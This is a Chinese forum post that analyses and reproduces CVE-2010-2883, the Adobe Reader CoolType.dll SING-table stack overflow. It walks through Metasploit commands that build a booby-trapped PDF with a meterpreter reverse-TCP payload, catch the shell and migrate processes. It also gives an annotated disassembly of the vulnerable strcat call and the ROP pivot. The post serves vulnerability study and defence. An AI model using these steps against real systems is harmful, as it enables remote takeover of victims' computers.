首页
论坛
课程
招聘
[分享]CVE-2010-2883漏洞分析与复现
2021-8-18 17:41 6948

[分享]CVE-2010-2883漏洞分析与复现

2021-8-18 17:41
6948

CVE-2010-2883漏洞分析

一、漏洞信息

1. 漏洞简述

  • 漏洞名称:Adobe Reader TTF字体SING表栈溢出漏洞
  • 漏洞编号:CVE-2010-2883
  • 漏洞类型:栈溢出
  • 漏洞影响:信息泄露
  • CVSS评分:9.3(High)
  • 利用难度:Medium
  • 基础权限:不需要

2. 组件概述

Adobe Reader是美国Adobe公司开发的非常流行的PDF文件阅读器。

 

pdf中带有TTF字体Smart INdependent Glyphlets (SING)表的UniqueName成员在CoolType.dll中执行一次strcat函数。

3. 漏洞利用

Adobe Reader 9.3.4之前的版本的CoolType.dll中存在基于栈的缓冲区溢出漏洞函数strcat,在执行时会将pdf文件的SING表的UniqueName字符串拷贝进栈中,并且不检查字符串长度。

4. 漏洞影响

Windows、Macintosh和UNIX系统下Adobe Reader 9.3.4 之前的版本。

5. 解决方案

官方的安全更新方案是更新软件。

 

官方文档链接

二、漏洞复现

1. 环境搭建

  • 靶机环境:Windows XPx86 SP3
  • 靶机配置:192.168.44.153:8888
  • 攻击机环境:Kali Linux 2021.2
  • 攻击机配置:192.168.44.152

2. 复现过程

(1) Kali中启动Metasploit生成木马文件

1
2
3
4
搜索Adobe渗透模块 
msf > search adobe_cooltype_sing
调用渗透模块 
msf > use exploit/windows/fileformat/adobe_cooltype_sing/

1.PNG

1
2
3
4
5
6
7
8
9
10
调用meterpreter载荷,反向连接到渗透机 
msf  exploit(adobe_cooltype_sing) > set payload windows/meterpreter/reverse_tcp 
设置Kali Linux的IP地址 
msf  exploit(adobe_cooltype_sing) > set LHOST 192.168.44.153 
设置本地监听端口 
msf  exploit(adobe_cooltype_sing) > set LPORT 8888 
设置PDF文件名称
msf  exploit(adobe_cooltype_sing) > set FILENAME PINGINGLAB.pdf 
生成PDF文件
msf  exploit(adobe_cooltype_sing) > exploit

2.PNG

 

(2) 将PDF木马文件发送至靶机

 

3.PNG

 

(3) Metasploit开启shell监听会话,等待靶机打开pdf

1
2
3
4
5
6
7
8
9
10
使用handler监听模块 
msf > use exploit/multi/handler 
回弹一个tcp连接 
msf  exploit(handler) > set payload windows/meterpreter/reverse_tcp 
设置监听IP地址(跟PDF木马文件一致) 
msf  exploit(handler) > set LHOST 192.168.44.153
设置监听的端口(跟PDF木马文件一致) 
msf  exploit(handler) > set LPORT 8888 
开启监听 
msf  exploit(handler) > exploit

4.PNG

 

(4) 靶机中运行pdf,系统会出现卡顿

 

5.PNG

 

(5) Metasploit获取shell会话,并用Meterpreter控制靶机

1
2
3
4
查看系统信息 
meterpreter > sysinfo
截屏 
meterpreter > screenshot

6.PNG

 

7.PNG

 

(6) 切换进程

 

这个漏洞利用过程,adobe reader会“卡壳”退出,所以需要快速切换到其他系统进程,这样会话才不会丢失。

1
2
3
4
获取进程 
meterpreter > ps 
切换进程
meterpreter > migrate 872

8.PNG

 

9.PNG

三、漏洞分析

1. 基本信息

  • 漏洞文件:低于9.3.4版本的Adobe Reader
  • 漏洞函数:strcat()
  • 漏洞对象:SING表的UniqueName成员

2. 背景知识

1. 栈溢出

程序将参数传入栈中时没有检查传入的参数是否大于预定的长度,导致栈中关键数据被参数覆盖

2. ROP技术

面向返回编程(英语:Return-Oriented Programming,缩写:ROP)是计算机安全漏洞利用技术,该技术允许攻击者在安全防御的情况下执行代码,如不可执行的内存和代码签名。

3. 详细分析

1. 基础分析

pdf文件中的SING表:

 

pdf文件中包含一个TTF字体文件,其包含一个SING表,以'SING'签名开始,使用PdfStreamDumper.exe查看恶意pdf文件,能够找到SING表的TableEntry:

 

10.PNG

 

TableEntry的结构是这样的:

1
2
3
4
5
6
7
typedef   sturct
{
char   tag[4];
ULONG   checkSum;
ULONG   offset;//相对文件的偏移
ULONG   length;//数据长度为0x1DDF
}TableEntry;

其中offset成员指向ttf文件中SING表的起始地址,在这个pdf中时0x11c:

 

11.PNG

 

SING表的结构如下所示

 

12.PNG

 

根据结构计算,UniqueName成员应为SING表+0x10处,也就是图中所示

 

13.PNG

 

而这部分数据会被作为strcat()函数的第二个参数传入栈中了,直到出现字符串截断符0x11

2. 静态分析

1. Ida分析

strcat()函数位于Adobe Reader的安装目录中的CoolType.dll文件中,使用Ida打开改文件,shift+F12搜索“SING”字符串,发现在引用该字符串(0x0803DD74)下方不远处就能找到strcat()函数(0x0803DDAB):

 

14.PNG

 

按F5将其转为C代码查看,发现在strcat()处将一个指针变量+0x10的字符串入栈说明这个变量就是sing表的基地址,而+0x10位置便是UniqueName成员的地址。

 

15.PNG

2. 补丁Diff

下载AdobeReader 9.4.0提取CoolType.dll,定位到相同的位置

 

25.PNG

 

这里不是调用strcat,而是sub_813391E,跟进:

 

26.PNG

 

可以看到在使用strcat函数前增加了参数字符串长度判断

3. 漏洞函数分析

具体的漏洞函数功能、触发条件、源代码分析

3. 动态分析

打开AdobeReader.exe,使用OD附加到进程,ctrl+G搜索“SING”字符串的地址0x0803DD74,设置断点。

 

16.PNG

 

按F9让pdf阅读器先运行初始化,然后打开用msf生成的恶意pdf文件(运行过程中出现卡顿和报错是正常现象,不需要理会),在“SING”字符串的地址不远处找到strcat函数的调用,设置断点

 

动态分析strcat函数之前这段代码,其功能是检查pdf中是否包含SING表,并解析SING表,获取其UniqueName成员:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
0803DD74    68 4CDB1908     push CoolType.0819DB4C              ; ASCII 53,"ING", "SING"
0803DD79    57              push edi                            ; edi入栈
0803DD7A    8D4D DC         lea ecx,dword ptr ss:[ebp-0x24]     ; ecx保存变量指针
0803DD7D    E8 843DFEFF     call CoolType.08021B06                ; 通过变量保存一个值,实际上是返回了SING表的地址
0803DD82    8B45 DC         mov eax,dword ptr ss:[ebp-0x24]     ; 把这个SING表地址赋给eax
0803DD85    3BC6            cmp eax,esi                         ; 此时esi为0,与eax比较,意思是判断SING表是否有效
0803DD87    C645 FC 02      mov byte ptr ss:[ebp-0x4],0x2      
0803DD8B    74 37           je short CoolType.0803DDC4          ; jump equal 0的意思,前面比较不为零,不跳转
0803DD8D    8B08            mov ecx,dword ptr ds:[eax]          ; 取双字节的EAX所指的地址的内存内容,赋值给ECX,此处内容为0X00010000,应该是SING表版本号
0803DD8F    81E1 FFFF0000   and ecx,0xFFFF                      ; 将0x000100000x0000FFFF与或位运算,得0
0803DD95    74 08           je short CoolType.0803DD9F          ; 上一步比较得0,此处跳转
0803DD97    81F9 00010000   cmp ecx,0x100
0803DD9D    75 21           jnz short CoolType.0803DDC0
0803DD9F    83C0 10         add eax,0x10                        ; eax存储sing表的基地址,因此加0x10为UniqueName结构
0803DDA2    50              push eax                            ; UniqueName地址入栈
0803DDA3    8D45 00         lea eax,dword ptr ss:[ebp]          ; 将EBP所指的地址的内存内容,赋值给EAX
0803DDA6    50              push eax                            ; EAX入栈
0803DDA7    C645 00 00      mov byte ptr ss:[ebp],0x0           ; 将EBP所指的内容赋值为0
0803DDAB    E8 483D1300     call <jmp.&MSVCR80.strcat>          ; 调用strcat

让程序执行,并步过strcat这个函数,此时查看栈窗口:

 

17.PNG

 

返回地址已经被覆盖为0x4A82A714,查看该地址的反汇编窗口:

 

18.PNG

 

对应指令为pop esp;ret;

 

此处用到了ROP技术绕过DEP,执行这两条指令的作用是将栈中跳转地址的下一地址的内容(此处为0x0C0C0C0C)赋值给esp,产生的作用等同于 mov esp,0x0C0C0C0C;此时的esp被修改为0x0c0c0c0c,这时就将代码执行流引导至地址0x0C0C0C0C处

 

19.PNG

 

0x0C0C0C0C处是一个ROP链,这个链是在程序执行JavaScript时实现的HeapSpray而写入的,这个JavaScript的二进制数据也存在于pdf中,是精心构造出来的。

 

继续跟进ROP链,看到先后调用函数CreateFile 、CreateFileMapping、MapOfViewMap创建了文件iso88591:

 

20.PNG

 

21.PNG

 

22.PNG

 

23.PNG

 

使用memcpy函数将shellcode复制到了0x03F4000处:

 

24.PNG

四、缓解措施

  1. 更新Adobe Reader版本至高于9.4.0以上。

  2. 不打开来源不明的pdf

五、参考文献

知乎:CVE-2010-2883 Adobe Reader 打开pdf电脑即刻中招

 

bilibili:CVE-2010-2883解析

 

CSDN:CEV-2010-2883 Adobe Reader漏洞复现

 

第一次分析实际漏洞,文中有些知识点没有仔细分析,比如JavaScript实现的HeapSpary,还有ROP链将shellcode写入内存后的shellcode行为分析,还请大佬们不吝赐教

 

感谢有毒版主提供的模板,拿来吧你


[培训] 优秀毕业生寄语:恭喜id咸鱼炒白菜拿到远超3W月薪的offer,《安卓高级研修班》火热招生!!!

最后于 2021-8-18 17:44 被Sal_Tay编辑 ,原因:
收藏
点赞2
打赏
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回